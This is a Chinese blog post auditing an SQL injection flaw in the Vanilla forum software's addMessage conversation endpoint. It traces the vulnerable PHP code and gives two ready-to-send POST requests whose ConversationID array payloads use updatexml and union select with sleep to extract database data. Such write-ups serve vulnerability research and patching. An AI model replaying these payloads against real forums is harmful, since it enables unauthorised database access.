• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

代码审计—Vanilla中的一个SQL注入漏洞

WEB 挑战自我 364次浏览 已收录 2个评论

1、文章综述

在vanilla中有一个SQL注入漏洞,攻击者可以利用这个漏洞来获取数据库信息

2、漏洞详情

漏洞审计过程如下:
首先,在代码位置:applications/conversations/controllers/class.messagescontroller.php:164行

public function addMessage($conversationID = '') {
        $this->Form->setModel($this->ConversationMessageModel);
        if (is_numeric($conversationID) && $conversationID > 0) {
            $this->Form->addHidden('ConversationID', $conversationID);
        }

        if ($this->Form->authenticatedPostBack()) {
            $conversationID = $this->Form->getFormValue('ConversationID', '');

            // Make sure the user posting to the conversation is actually
            // a member of it, or is allowed, like an admin.
            if (!checkPermission('Garden.Moderation.Manage')) {
                $userID = Gdn::session()->UserID;
                $validConversationMember = $this->ConversationModel->validConversationMember($conversationID, $userID);
                if (!$validConversationMember) {
                    throw permissionException();
                }
            }

我们注意到,参数$conversationID是被我们控制的,它可以是一个数组。
接着,我们看到参数$conversationID被传入到validConversationMember这个函数中,如下所示

    public function validConversationMember($conversationID, $userID) {
        $conversationMembers = $this->getConversationMembers($conversationID, true, false, false, true);
        return (in_array($userID, $conversationMembers));
    }

接着,它又被getConversationMembers这个函数,如下所示:

public function getConversationMembers($conversationID, $idsOnly = true, $limit = false, $offset = false, $active = null) {
        $conversationMembers = [];

        $userConversation = new Gdn_Model('UserConversation');
        if (is_array($conversationID)) {
            $where = $conversationID;
        } else {
            $where = ['ConversationID' => $conversationID];
        }
        if ($active === true) {
            $where['Deleted'] = 0;
        } elseif ($active === false) {
            $where['Deleted'] = 1;
        }
        $userMembers = $userConversation->getWhere($where, 'UserID', 'asc', $limit, $offset)->resultArray();

        if (is_array($userMembers) && count($userMembers)) {
            if ($idsOnly) {
                $conversationMembers = array_column($userMembers, 'UserID');
            } else {
                $conversationMembers = Gdn_DataSet::index($userMembers, 'UserID');
            }
        }

        return $conversationMembers;
    }

可以看到,当参数$conversationID为一个数组时,它是直接赋值给$where的,接着,$where参数被传入了getWhere函数。

  public function getWhere($where = false, $orderFields = '', $orderDirection = 'asc', $limit = false, $offset = false) {
        $this->_beforeGet();
        return $this->SQL->getWhere($this->Name, $where, $orderFields, $orderDirection, $limit, $offset);
    }


 public function getWhere($table = '', $where = false, $orderFields = '', $orderDirection = 'asc', $limit = false, $offset = 0) {
        if ($table != '') {
            //$this->mapAliases($Table);
            $this->from($table);
        }

        if ($where !== false) {
            $this->where($where);
        }

        if ($orderFields != '') {
            $this->orderBy($orderFields, $orderDirection);
        }

        if ($limit !== false) {
            $this->limit($limit, $offset);
        }

        $result = $this->query($this->getSelect());

        return $result;
    }

继续跟踪参数$where

public function where($field, $value = null, $escapeFieldSql = true, $escapeValueSql = true) {
        if (!is_array($field)) {
            $field = [$field => $value];
        }
        foreach ($field as $subField => $subValue) {
            if (is_array($subValue)) {
                if (count($subValue) == 1) {
                    $firstVal = reset($subValue);
                    $this->where($subField, $firstVal);
                } else {
                    $this->whereIn($subField, $subValue);
                }
            } else {
                $whereExpr = $this->conditionExpr($subField, $subValue, $escapeFieldSql, $escapeValueSql);
                if (strlen($whereExpr) > 0) {
                    $this->_where($whereExpr);
                }
            }
        }
        return $this;
    }

这样,我们就可以控制参数的值来引发注入

漏洞复现步骤:
1、首先打开页面对话框
2、注册帐号并登录
3、创建一个注入信息,TransientKey的值可以从一个正常的POST值中获取

下面就是可以引发注入的数据包:

POST /messages/addmessage/ HTTP/1.1
Host: localhost
Content-Length: 222
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/messages/2
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MzAxNTIzMzMsImlhdCI6MTUyNzU2MDMzMywic3ViIjo3fQ.WFdBfYiPUWy_M8N861m3gT1S3LvqpTBfWvqM9WWRUKY; Vanilla-Vv=1527560333; Vanilla-tk=qKz7tUjBiiRQRALz%3A7%3A1527560334%3Aa656c9644245d85d788c83d32d4cc3bd
Connection: close

TransientKey=qKz7tUjBiiRQRALz&hpt=&ConversationID=[1%3d1+or+updatexml(1,concat(0x3e,user()),0)+and+1]=2&Format=Markdown&Body=123123&DeliveryType=VIEW&DeliveryMethod=JSON&Send Message=Send Message&BodyLastMessageID=Message_2


如下图所示,用户名已经爆出来了

代码审计—Vanilla中的一个SQL注入漏洞

接着我们尝试控制数据库,让它休眠几秒钟

POST /messages/addmessage/ HTTP/1.1
Host: localhost
Content-Length: 275
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/messages/2
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MzAxNTIzMzMsImlhdCI6MTUyNzU2MDMzMywic3ViIjo3fQ.WFdBfYiPUWy_M8N861m3gT1S3LvqpTBfWvqM9WWRUKY; Vanilla-Vv=1527560333; Vanilla-tk=qKz7tUjBiiRQRALz%3A7%3A1527560334%3Aa656c9644245d85d788c83d32d4cc3bd
Connection: close

TransientKey=qKz7tUjBiiRQRALz&hpt=&ConversationID[1%3d1+and+1%3d1+union+select+1,2,3,4,5,6,7,sleep(5),9+union+select+*+from+GDN_UserConversation+where+1]=2&Format=Markdown&Body=123123&DeliveryType=VIEW&DeliveryMethod=JSON&Send Message=Send Message&BodyLastMessageID=Message_2

访问信息如下图所示

代码审计—Vanilla中的一个SQL注入漏洞


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明代码审计—Vanilla中的一个SQL注入漏洞
喜欢 (8)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(2)个小伙伴在吐槽
  1. aaa明天会更好aaa
    Buster Seaborn2018-11-01 18:47 回复
  2. 学无止境,认真拜读!
    阿斯2018-11-03 11:14 回复